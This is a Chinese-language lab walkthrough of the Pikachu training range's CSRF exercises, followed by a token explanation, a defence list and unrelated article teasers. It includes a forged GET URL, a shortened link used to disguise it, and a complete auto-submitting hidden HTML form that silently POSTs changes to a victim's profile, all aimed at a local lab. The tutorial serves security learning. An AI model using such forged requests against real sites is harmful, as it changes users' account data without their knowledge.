Pikachu靶场——跨站请求伪造(CSRF)

news/2025/2/25 2:23:06

文章目录

  • 1. 跨站请求伪造(CSRF)
    • 1.1 CSRF(get)
    • 1.2 CSRF(post)
    • 1.3 CSRF Token
    • 1.4 CSRF漏洞防御

1. 跨站请求伪造(CSRF)

还可以参考我的另一篇文章:跨站请求伪造(CSRF)

全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

什么是CSRF?

CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

1.1 CSRF(get)

这里是一个登录界面,使用提示的用户名和密码进行登录

image-20230817202634396

发现是个人信息页面

image-20230817202724408

点击修改个人信息,点击提交

image-20230817202815885

所以这时候可以使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容。

image-20230817203208173

从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么我们可以修改路径中的参数。

例如将电话好修改为一个新的参数。

127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=150666666668&add=%E5%8C%97%E4%BA%AC&email=2488%40qq.com&submit=submit

image-20230817204543665

但是这个路径太明显了,可以使用短路径的方法,来伪造我们的路径。

image-20230817204434743

https://s.r.sn.cn/vEARsG

如果被攻击者此时登录状态或cookie/session没有过期,如果用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了。

1.2 CSRF(post)

登陆allen账号进行修改

image-20230817205148900

然后使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容

image-20230817205300480

发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用。

攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="15088888888" />
                <input type="hidden" name="add" value="缅甸" />
                <input type="hidden" name="email" value="222488@qq.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

image-20230817215704754

将写好的表单部署到攻击者的站点,这里因为是本机做演示,所以位置在WWW\pikachu\vur\scrf目录下。

image-20230817213536035

用户访问攻击者的站点127.0.0.1/pikachu/vul/csrf/CSRF.html并点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。

点击前

image-20230817215717853

点击后

image-20230817215732022

1.3 CSRF Token

token验证原理

CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。

网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

使用bp抓包查看,可以看到报文中包含token

image-20230819162127015

查看源代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。并且在修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

image-20230819162741827

image-20230819163615005

set_token()函数在生成新token之前会先销毁老token,避免token重复使用。

image-20230819164654524

1.4 CSRF漏洞防御

  • 验证Referer字段
  • 添加Token验证
  • 二次验证:在关键操作之前,再输入密码或者验证码。
  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
  • SameSite:Cookie 属性,浏览器自带的安全机制。

http://www.niftyadmin.cn/n/5075790.html

相关文章

零基础自学考证HCIE分享,附零基础HCIE学习路线

最近有些粉丝问我&#xff0c;能不能自学华为认证网络工程师HCIE&#xff1f; 我的回答是&#xff1a;能&#xff0c;但是很难。 据不完全统计&#xff0c;考上HCIE的人群中自学占比10%左右。为什么会这么低呢&#xff0c;下面就来给大家说考HCIE自学会遇到的一些困难。 首先&…

前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— JS进阶(一)

思维导图 一、作用域 1.1 局部作用域 let和const声明的才有块作用域 1.2 全局作用域 1.3 作用域链 1.4 JS垃圾回收机制 1.5 闭包 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Comp…

数据结构与算法之堆: Leetcode 23. 合并K个升序链表 (Typescript版)

合并K个升序链表 https://leetcode.cn/problems/merge-k-sorted-lists/ 描述 给你一个链表数组&#xff0c;每个链表都已经按升序排列请你将所有链表合并到一个升序链表中&#xff0c;返回合并后的链表 示例 1 输入&#xff1a;lists [[1,4,5],[1,3,4],[2,6]] 输出&#…

二进制中左移、右移、无符号右移规则

前提知识 正数的原码&#xff0c;反码以及补码都是一样的负数的反码是原码的符号位不变&#xff0c;数值位按位取反负数的补码是符号位不变&#xff0c;数值位在反码的基础上加1正数的符号位是用0来表示&#xff0c;负数的符号位使用1来表示 二进制左移&#xff08;<<&…

Golang优雅实现按比例切分流量

我们在进行灰度发布时&#xff0c;往往需要转发一部分流量到新上线的服务上&#xff0c;进行小规模的验证&#xff0c;随着功能的不断完善&#xff0c;我们也会逐渐增加转发的流量&#xff0c;这就需要按比例去切分流量&#xff0c;那么如何实现流量切分呢&#xff1f; 我们很容…

WPF向Avalonia迁移(四、其他事项)

开发必备 1. Avalonia项目源代码&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;没有源代码&#xff0c;你连控件的背景色怎么改都找不着&#xff01;&#xff01; 2.下载你所使用的版本&#x…

springcloud集成配置中心报错No spring.config.import set

springcloud2020 版本开始 Bootstrap默认是禁用的&#xff0c;所以加上bootstrap就行了 我这里的spring-cloud版本为2021.0.5&#xff0c;同样加上就行了 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter…

“元创新·智生成” 第15届企业数智化学习大会公布嘉宾阵容

2023年是AIGC爆发年&#xff0c;与AI相关的创新应用迅速向各行各业渗透。 在企业培训领域&#xff0c;数字人、元宇宙等正逐渐成为企业在开展人才发展、业务培训等工作的工具&#xff0c;其高效、便捷、在线化、场景化等优势受到企业的热捧。在需求的推动下&#xff0c;企业培…